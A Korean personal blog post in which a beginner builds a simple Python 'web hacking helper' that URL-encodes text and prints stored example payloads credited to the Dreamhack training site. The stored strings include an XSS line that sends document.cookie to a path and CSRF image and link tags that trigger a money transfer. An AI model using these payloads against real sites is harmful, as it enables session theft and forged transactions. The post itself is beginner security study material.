나만의 Web-hacking 도우미 만들기 (1)

2022. 12. 31. 21:33Code

프로그래밍을 하도 안한지 어느덧 1년이 넘었다.. 그렇게 된 결과 정말 단순한 코드를 설계하는 것 빼고는 다 문법이 틀리거나 먼가 잘 못 됬거나 했다...

 

최근 웹해킹에 입문하게 되었으니 나만의 도우미 역할을 할 프로그램 하나를 만들기로 결정했다.

 

Python 언어를 활용하고 내가 직접 썻던 코드들과 동시에 공격 스크립트 구문들의 예시들을 저장해 필요할때 마다 꺼내볼 수 있는 프로그램을 만들어 보자 생각했다.

 

import chardet
import urllib.request
import time
from urllib import parse
    
# options ĭ
option1=['','XSS', 'CSRF', 'SQL INJECTION']
frame = "|||*" #모양


open = "Hello Welcome to Web hacking helper"
def Open():
    print("||||||----Welcome to User----||||||")
    
    for i in range(5):
        print("||||||                       ||||||")
    
    print("-- This is Web hacking helper --")

Open()

XSS = ['' , 'XSS 공격 스크립트는 다음과 같습니다', 'new Image().src = 경로 + document.cookie;', '"document.write(문자)"', '"window.open(URL주소)"']
XSS_explain = ['', 'XSS 공격기법들의 종류는 다음과 같습니다.', 'Stored XSS', 'Reflected XSS', 'Don-based XSS', 'Universal XSS']

CSRF_explain = ['', 'CSRF 공격 스크립트 예시 코드들은 다음과 같습니다.', '<img src=http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337 width=0px height=0px>', '<img src="/sendmoney?to=dreamhack&amount=1337">', '<img src=1 onerror="fetch(/sendmoney?to=dreamhack&amount=1337);">', '<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">']
CSRF= ['', 'CSRF의 뜻 풀이는 다음과 같습니다.', 'Cross Site Request Forgery']

SQL_INJECTION = ['', 'SQL INJECTION의 공격 기법들의 종류들은 다음과 같습니다.']
SQL_INJECTION_explain = ['', '']
    
help = ['', '인코딩', '웹해킹 기법']

    
time.sleep(5)

for i in range(1,3):
    
    print(frame, i, help[i])

z = str(input("필요하신 도움을 입력하세요:  "))

if z == "2":

    for i in range(1,4):
        print(frame, i, option1[i])
    
    x = str(input("필요한 설명을 선택하시오:  "))
    

    if x == option1[1] or x=="1":
        for i in range(5):
        
            print(frame, XSS[i])
            
            
        for j in range(6):
            print(frame, XSS_explain[j])
            
    
        
    if x == option1[2] or x =="2":
    
        for i in range(3):
        
            print (frame, CSRF)

        for y in range(6):
            print(frame, CSRF_explain[y])
            
if z == "1":
    string_orginal = str(input("인코딩 할 문자를 작성하세요:  "))
    string_encoded = parse.quote(string_orginal)
    string_decoded = parse.unquote(string_encoded)
    
    print("기존 문자열: ", string_orginal)
    print("Encoded 문자열: ", string_encoded)
    print("Decoded 문자열:", string_decoded)

오늘 첫날 짠 코드들은 여기까지다...

 

상당히 머리가 후달려서 그런건지 If문을 활용하여 정말 복잡하고 비효율 적으로 쓰인거 같다.

 

그래도 까먹지 않은 List를 활용하여 코드를 짠 거는 잘 한 거 같다.

 

공격 스크립트에 우회가 필요할때 번거롭게 인코딩 디코딩 사이트를 들어가는 번거로움을 없애고자 후반에 인코딩과 디코딩을 할 코드를 몇개를 짰다.

 

그 밖에 XSS, CSRF 의 기본적인 공격 스크립트들을 프린트 방식으로 넣어놨다. (출처::|| 드림핵 )

 

실행 화면은 이러하다.

 

보완할 점: 프로그램이 한번 실행되고 종료되기에 Return 머시기를 넣든 먼가를 해서 지속적으로 다양한 코드들을 수행할 수 있게 해야겠다.

 

이번 계기로 파이썬 개발 역량을 늘릴 수 있으면 좋겠다.

'Code' 카테고리의 다른 글

-Layer7 구조체  (0) 2023.04.09
-Layer7 C언어 포인터  (0) 2023.04.09